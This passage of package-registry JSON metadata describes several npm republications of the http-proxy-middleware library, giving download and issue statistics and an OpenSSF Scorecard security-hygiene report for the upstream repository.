t_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/nb-http-proxy/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-03-07T02:25:53.474Z","issues_count":134,"pull_requests_count":268,"avg_time_to_close_issue":10873844.578125,"avg_time_to_close_pull_request":4257425.956896552,"issues_closed_count":64,"pull_requests_closed_count":232,"pull_request_authors_count":42,"issue_authors_count":129,"avg_comments_per_issue":4.843283582089552,"avg_comments_per_pull_request":1.3246268656716418,"merged_pull_requests_count":188,"bot_issues_count":0,"bot_pull_requests_count":16,"past_year_issues_count":15,"past_year_pull_requests_count":88,"past_year_avg_time_to_close_issue":306048.3333333333,"past_year_avg_time_to_close_pull_request":54242.293333333335,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":75,"past_year_pull_request_authors_count":10,"past_year_issue_authors_count":14,"past_year_avg_comments_per_issue":0.5333333333333333,"past_year_avg_comments_per_pull_request":1.3863636363636365,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":65,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/issues","maintainers":[{"login":"chimurai","count":189,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}],"active_maintainers":[{"login":"chimurai","count":70,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/nb-http-proxy/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/nb-http-proxy/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/nb-http-proxy/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/nb-http-proxy/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/nb-http-proxy/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/nb-http-proxy/codemeta","maintainers":[{"uuid":"shaohualou","login":"shaohualou","name":null,"email":"shaohualou@newbanker.cn","url":null,"packages_count":18,"html_url":"https://www.npmjs.com/~shaohualou","role":null,"created_at":"2022-11-13T10:38:06.942Z","updated_at":"2022-11-13T10:38:06.942Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/shaohualou/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5666668,"maintainers_count":1207881,"namespaces_count":399623,"keywords_count":847874,"github":"npm","metadata":{"funded_packages_count":171745},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-06-10T05:11:46.456Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},{"id":5688341,"name":"node-http-proxy-middleware","ecosystem":"npm","description":"The one-liner node.js proxy middleware for connect, express, next.js and more","homepage":"https://github.com/chimurai/http-proxy-middleware#readme","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/chimurai/http-proxy-middleware","keywords_array":["reverse","proxy","middleware","http","https","connect","express","fastify","polka","next.js","browser-sync","gulp","grunt-contrib-connect","websocket","ws","cors"],"namespace":null,"versions_count":1,"first_release_published_at":"2022-12-14T06:42:09.694Z","latest_release_published_at":"2022-12-14T06:42:09.694Z","latest_release_number":"3.0.0-beta.0","last_synced_at":"2026-07-10T15:02:16.114Z","created_at":"2022-12-14T06:49:35.062Z","updated_at":"2026-07-10T15:02:16.115Z","registry_url":"https://www.npmjs.com/package/node-http-proxy-middleware","install_command":"npm install node-http-proxy-middleware","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"3.0.0-beta.0"}},"repo_metadata":{"id":28698813,"uuid":"32219142","full_name":"chimurai/http-proxy-middleware","owner":"chimurai","description":":zap: The one-liner node.js http-proxy middleware for connect, express, next.js and more","archived":false,"fork":false,"pushed_at":"2026-06-27T18:48:14.000Z","size":4416,"stargazers_count":11132,"open_issues_count":22,"forks_count":881,"subscribers_count":113,"default_branch":"master","last_synced_at":"2026-06-29T01:19:25.768Z","etag":null,"topics":["browser-sync","connect","express","fastify","hono","http-proxy","httpxy","javascript","middleware","nextjs","node","nodejs","polka","proxy","proxy-middleware","websocket"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/chimurai.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2015-03-14T15:45:55.000Z","updated_at":"2026-06-27T18:48:18.000Z","dependencies_parsed_at":"2024-01-29T07:26:28.290Z","dependency_job_id":"c2a3f314-ac82-4c44-9219-3b82cbfa0f8e","html_url":"https://github.com/chimurai/http-proxy-middleware","commit_stats":{"total_commits":439,"total_committers":40,"mean_commits":10.975,"dds":0.4829157175398633,"last_synced_commit":"77f320e4dca8247167471393dcbce2b1e333b7cf"},"previous_names":[],"tags_count":87,"template":false,"template_full_name":null,"purl":"pkg:github/chimurai/http-proxy-middleware","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/chimurai","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/sbom","scorecard":{"id":277788,"data":{"date":"2025-08-11","repo":{"name":"github.com/chimurai/http-proxy-middleware","commit":"e7ae0098ebdbbdf77c0c23e84d2208cb7fc35cea"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4,"checks":[{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/publish.yml:11","Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Warn: no topLevel permission defined: .github/workflows/publish.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":6,"reason":"8 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:194: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:195: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:11: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:100: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:102: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:106: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:134: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:136: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:140: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:164: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:166: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:170: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:186: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Info:   0 out of  21 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/publish.yml:6"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Branch-Protection","score":1,"reason":"branch protection is not maximal on development and all release branches","details":["Warn: branch protection not enabled for branch '2.x'","Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Info: 'branch protection settings apply to administrators' is required to merge on branch 'master'","Warn: 'stale review dismissal' is disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Warn: 'last push approval' is disabled on branch 'master'","Info: status check found to merge onto on branch 'master'","Info: PRs are required in order to make changes on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":5,"reason":"5 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-968p-4wvh-cqc8","Warn: Project is vulnerable to: GHSA-xffm-g5w8-qvg7","Warn: Project is vulnerable to: GHSA-fjxv-7rqg-78g4","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-17T14:57:40.637Z","repository_id":28698813,"created_at":"2025-08-17T14:57:40.637Z","updated_at":"2025-08-17T14:57:40.637Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":34914647,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-29T02:00:05.398Z","response_time":58,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2026-07-07T06:22:17.009Z","dependent_packages_count":2,"downloads":33,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":23.937919849838543,"dependent_repos_count":25.30552159382132,"dependent_packages_count":9.479354243063137,"stargazers_count":1.302813939564871,"forks_count":1.6764307615169314,"average":12.340408077560962},"purl":"pkg:npm/node-http-proxy-middleware","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/node-http-proxy-middleware","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/node-http-proxy-middleware","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/node-http-proxy-middleware/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-18T20:26:59.603Z","issues_count":141,"pull_requests_count":285,"avg_time_to_close_issue":13293581.985074626,"avg_time_to_close_pull_request":4164601.252,"issues_closed_count":67,"pull_requests_closed_count":250,"pull_request_authors_count":43,"issue_authors_count":134,"avg_comments_per_issue":4.6879432624113475,"avg_comments_per_pull_request":1.4456140350877194,"merged_pull_requests_count":204,"bot_issues_count":0,"bot_pull_requests_count":16,"past_year_issues_count":14,"past_year_pull_requests_count":43,"past_year_avg_time_to_close_issue":1199106.0,"past_year_avg_time_to_close_pull_request":238577.41666666666,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":36,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":13,"past_year_avg_comments_per_issue":1.3571428571428572,"past_year_avg_comments_per_pull_request":2.0697674418604652,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":34,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/issues","maintainers":[{"login":"chimurai","count":206,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}],"active_maintainers":[{"login":"chimurai","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/node-http-proxy-middleware/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/node-http-proxy-middleware/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/node-http-proxy-middleware/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/node-http-proxy-middleware/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/node-http-proxy-middleware/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/node-http-proxy-middleware/codemeta","maintainers":[{"uuid":"gauravbansal74","login":"gauravbansal74","name":null,"email":"gauravbansal74@gmail.com","url":null,"packages_count":3,"html_url":"https://www.npmjs.com/~gauravbansal74","role":null,"created_at":"2022-12-14T06:50:49.937Z","updated_at":"2022-12-14T06:50:49.937Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/gauravbansal74/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5666668,"maintainers_count":1207881,"namespaces_count":399623,"keywords_count":847874,"github":"npm","metadata":{"funded_packages_count":171745},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-06-10T05:11:46.456Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},{"id":1841859,"name":"http-proxy-middleware-liran-fork","ecosystem":"npm","description":"The one-liner node.js proxy middleware for connect, express and browser-sync","homepage":"https://github.com/chimurai/http-proxy-middleware","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/chimurai/http-proxy-middleware","keywords_array":["reverse","proxy","middleware","http","https","connect","express","browser-sync","gulp","grunt-contrib-connect","websocket","ws","cors"],"namespace":null,"versions_count":2,"first_release_published_at":"2019-12-18T12:49:54.672Z","latest_release_published_at":"2019-12-18T13:13:47.682Z","latest_release_number":"0.20.1","last_synced_at":"2026-07-10T15:02:33.311Z","created_at":"2022-04-09T17:18:05.584Z","updated_at":"2026-07-10T15:02:33.311Z","registry_url":"https://www.npmjs.com/package/http-proxy-middleware-liran-fork","install_command":"npm install http-proxy-middleware-liran-fork","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"0.20.1"}},"repo_metadata":{"id":28698813,"uuid":"32219142","full_name":"chimurai/http-proxy-middleware","owner":"chimurai","description":":zap: The one-liner node.js http-proxy middleware for connect, express, next.js and more","archived":false,"fork":false,"pushed_at":"2026-06-27T18:48:14.000Z","size":4416,"stargazers_count":11132,"open_issues_count":22,"forks_count":881,"subscribers_count":113,"default_branch":"master","last_synced_at":"2026-06-29T01:19:25.768Z","etag":null,"topics":["browser-sync","connect","express","fastify","hono","http-proxy","httpxy","javascript","middleware","nextjs","node","nodejs","polka","proxy","proxy-middleware","websocket"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/chimurai.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2015-03-14T15:45:55.000Z","updated_at":"2026-06-27T18:48:18.000Z","dependencies_parsed_at":"2024-01-29T07:26:28.290Z","dependency_job_id":"c2a3f314-ac82-4c44-9219-3b82cbfa0f8e","html_url":"https://github.com/chimurai/http-proxy-middleware","commit_stats":{"total_commits":439,"total_committers":40,"mean_commits":10.975,"dds":0.4829157175398633,"last_synced_commit":"77f320e4dca8247167471393dcbce2b1e333b7cf"},"previous_names":[],"tags_count":87,"template":false,"template_full_name":null,"purl":"pkg:github/chimurai/http-proxy-middleware","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/chimurai","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/sbom","scorecard":{"id":277788,"data":{"date":"2025-08-11","repo":{"name":"github.com/chimurai/http-proxy-middleware","commit":"e7ae0098ebdbbdf77c0c23e84d2208cb7fc35cea"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4,"checks":[{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/publish.yml:11","Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Warn: no topLevel permission defined: .github/workflows/publish.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":6,"reason":"8 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:194: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:195: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:11: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:100: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:102: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:106: update your workflow using 